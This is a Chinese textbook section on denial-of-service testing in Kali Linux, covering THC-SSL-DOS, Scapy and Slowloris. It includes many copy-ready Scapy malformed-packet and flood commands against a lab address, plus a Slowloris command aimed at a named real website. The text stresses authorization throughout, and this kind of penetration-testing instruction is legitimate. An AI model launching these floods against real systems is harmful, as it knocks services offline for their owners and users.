6.7 拒绝服务攻击(DoS)

通常渗透测试联系都会侧重找出安全中的空隙,而不是危害某个系统。这是区分真实攻击者和经过授权的渗透测试人员的一项重要功能。真实的黑客不会遵循这些规则,也不会关心是否会中断别人的业务,只要攻击有助于提升他们。有些情况中,黑客希望对目标造成任何形式的负面影响,包括搞垮关键的系统。出于这点,有些情况中,对系统进行测试、判定系统被拒绝服务攻击(DoS,Denial of Service) 的风险很有必要。这种测试通常会称为对连接到因特网的服务的压力测试。

对某项资产进行测试、找出DoS漏洞时,务必要拿到批准。有些攻击方法可能会在渗透测试结束后对系统造成负面影响。我们建议可能的话,你尽量对冗余系统、实验设备或是非生产系统进行测试。

最常见的DoS攻击都会包含用额外通信请求来形成流向目标的洪水。这些过载会导致资源无法响应合理网络请求,或是显著地降低响应速度,以至于几近不可用。DoS攻击可以针对系统资源(即硬盘空间、带宽等)、配置信息(即删除路由表等)、状态信息(TCP会话重置)或是能危害系统运行的所有操作。

DoS跟分布式拒绝服务攻击(Distributed Denial of Service,DDoS) 之间的区别在于DoS攻击只包含一台机器,而DDoS攻击包含多台。DDoS超出了这里的讨论范围。

有四类主要的DoS/DDoS攻击类别。

Kali Linux包含多个可用于应用层DoS攻击的漏洞利用工具,在前面章节中都介绍过,比如Metasploit。还有,在第3章中我们介绍过一个流行的DoS协议攻击工具Scapy。这里有一些其他执行DoS攻击的Kali Linux自带工具。

为了测试DoS攻击,你可以用www.upordown.org 来查看某个网站是否可用。

6.7.1 THC-SSL-DOS

安全套接层 (SSL,Secure Socket Layer)协议用于保护因特网上的连接和交易。建立安全SSL连接时服务器端的处理能力要比客户端大15倍才行。THC-SSL-DOS就是利用这种不对称属性来对服务器造成过载,直到其拒绝为合法用户提供任何服务。这种攻击利用SSL的安全重新协商(Secure Re-negotiation)功能来通过单个TCP连接触发数以千计的重新协商过程。它称作SSL耗尽攻击 (SSL-Exhaustion Attack)。这种方法的优势在于客户端对SSL握手的处理能力遥遥领先,也就是说通过普通网络连接的一台普通笔记本电脑可以搞垮一个Web应用服务器。这是一个已知漏洞,并且在写作本书时尚未出现有效的解决方案。

要访问THC-SSL-DOS,浏览至Stress Testing > Web Stress Testing > thc-ssl-dos 。它会弹出一个终端窗口,并显示THC-SSL-DOS的主页。要针对某个目标运行THC-SSL-DOS,输入:

thc-ssl-dos [选项] 受害者ip地址> 端口> and --accept

端口>受害者ip地址>
你必须在命令中带上--accept ,否则你会得到如下的错误消息:

THC-SSL-DOS运行起来后,你会看到一系列有趣而冗长的输出,表明它正在启动并在利用握手过程。在下面的第一个截图中,我们会展示一个没有部署SSL的网站,因此它会显示连接错误。第二个截图中显示了握手成功,最终它会对目标进行拒绝服务攻击。切记,你只能对有权限测试的IP地址或站点进行尝试。这些攻击可以对网站或Web应用造成严重的破坏:

6.7.2 Scapy

Scapy是最流行的拒绝服务攻击工具之一。Scapy是一个计算机网络数据包伪造工具,由Philippe Biondi用Python开发。Scapy可以伪造或破译数据包、将它们发送出去、抓取数据包,并将请求和应答匹配起来。除此之外,它还能完成其他任务,比如扫描、跟踪路由、探测、单元检测、攻击和网络探索。

一种常见的方法是在Kali中篡改TCP数据包后将其通过Scapy发送出去。我们可以在终端窗口中输入scapy 来启动Scapy。一旦Scapy运行起来,你就可以输入命令语法了:

在下面的截图中,我们会用Scapy来向测试服务器发送格式有误的TCP数据包。在这个用例中,测试服务器的IP地址为10.0.0.1 。它可能是一台路由器或是一个Web服务器。此外,我们还要制定发送到目的地的数据包数目。在这个例子中,我们想通过这条命令发送2000 个数据包:

send(IP(dst="10.0.0.1",ttl=0)/TCP(),iface="eth0",count=2000)

在前面的命令行中,我们通过Kali服务器上的eth0 网卡向目的地地址10.0.0.1 发送了2000 个数据包。此外,我们给目标发送了值为0的生存周期。从TCP协议的角度看,这个值基本是不可能的。不过这里我们就是要尝试用错误的TTL值来迷惑Web服务器。现实中,攻击者会发送数以百万计的这种数据包。这里大家需要注意,状况良好的系统也有可能会因一个损坏的或是格式有误的数据包而崩溃或出错。我们可以调整攻击中需要用到的数据包数目或其他参数:

下面是Scapy常用的另外一些攻击场景。

错误的IP版本

send(IP(dst="10.0.0.1", src="10.20.30.40", version=0)/TCP(dport="www"), iface="eth0", count=2000)

错误的TCP校验和

send(IP(dst="10.0.0.1")/TCP(chksum=0x5555),iface="eth0",count=2000)

错误的TCP标记(所有标记位都清零了并且SEQ# == 0)

send(IP(dst="10.0.0.1")/TCP(flags="",seq=555),iface="eth0",  count=2000)

错误的TCP标记(所有标记位都置位了)

send(IP(dst="10.0.0.1")/TCP(flags=0x0ff),iface="eth0",count=2000)

只置位FIN

send(IP(dst="10.0.0.1")/TCP(flags="F"),iface="eth0",count=2000)

首部长度 > L2长度

send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=15L)/TCP(dport="www"), iface="eth0", count=2000)

首部长度过短

send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=2L)/TCP(dport="www"), iface="eth0", count=2000)

ICMP洪水

send(IP(dst="10.0.0.1")/ICMP(),iface="eth0",count=2000)

IP错误校验和

send(IP(dst="10.0.0.1", src="10.20.30.40", chksum=0x5500)/TCP(dport="www"), iface="eth0", count=2000)

IP分片

send(IP(dst="10.0.0.1", src="10.20.30.40", frag=1)/TCP(dport="www"), iface="eth0", count=2000)

IP长度 > L2长度

send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=5L, len=80)/TCP(dport="www"), iface="eth0", count=2000)

IP源地址 == 目标地址

send(IP(dst="10.0.0.1", src="10.0.0.1")/TCP(dport="www"), iface="eth0", count=2000)

L2长度 >> IP长度

send(IP(dst="10.0.0.1",len=32)/Raw(load="bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)

send(IP(dst="10.0.0.1",len=32)/UDP(dport=80,len=48)/Raw(load="bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)

send(IP(dst="10.0.0.1",len=32)/ICMP()/Raw(load="bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)

没有L4

send(IP(dst="10.0.0.1", src="10.20.30.40"), iface="eth0", count=2000)

SYN和FIN置位

send(IP(dst="10.0.0.1")/TCP(flags="FS"),iface="eth0",count=2000)

TCP首部长度 > L2长度

send(IP(dst="10.0.0.1", src="10.20.30.40")/TCP(dport="www", dataofs=15L), iface="eth0", count=2000)

TCP首部长度过短(长度 < 5)

send(IP(dst="10.0.0.1", src="10.20.30.40")/TCP(dport="www", dataofs=1L), iface="eth0", count=2000)

6.7.3 Slowloris

Slowloris是一款可用于DoS攻击的低带宽HTTP客户端。Slowloris的独特之处在于它攻击目标时采用的并非是常用的洪水技术。Slowloris通过发送部分(不完整)HTTP请求来保持连接处于打开状态。它会每隔一定间隔就发送数百个后续分片的头,以保持连接不被关闭。这种做法会逐渐吞噬掉目标上的可用资源,使其无法响应合法请求。高流量网站可能要花费很长时间才能释放出可用的套接字。在Slowloris可以使用这些套接字之前,其他用户必须先完成他们的请求。尽管如此,Slowloris最终依然会消耗尽所有可用的套接字,搞垮受害者网站的服务。

Slowloris针对的是采用线程化运算方式的服务器,也就是说它可以限制运行的线程的数目。这类服务器包括Apache 1.x、Apache 2.x、dhttpd、GoAhead等。

Slowloris并未在Kali Linux中默认安装。你可以从http://ckers.org/slowloris 下载Slowloris。

要运行Slowloris,下载该.pl脚本,并打开一个命令行终端。切换至该脚本所在目录,输入:

perl slowloris.pl

它会调起主界面。要针对某个目标运行Slowloris,输入同样的命令,后跟-dns 和你的目标。举个例子,要攻击www.thesecurityblogger.com ,输入:

perl slowloris.pl -dns thesecurityblogger.com

你会看到Slowloris用掉了可用的套接字,最终将目标搞垮:

如果Slowloris起到了它的作用,那么目标最终会不可用:

DoS示例攻击我们选了www.thesecurityblogger.com 。但在实际操作中,请不要用这个站点来做尝试。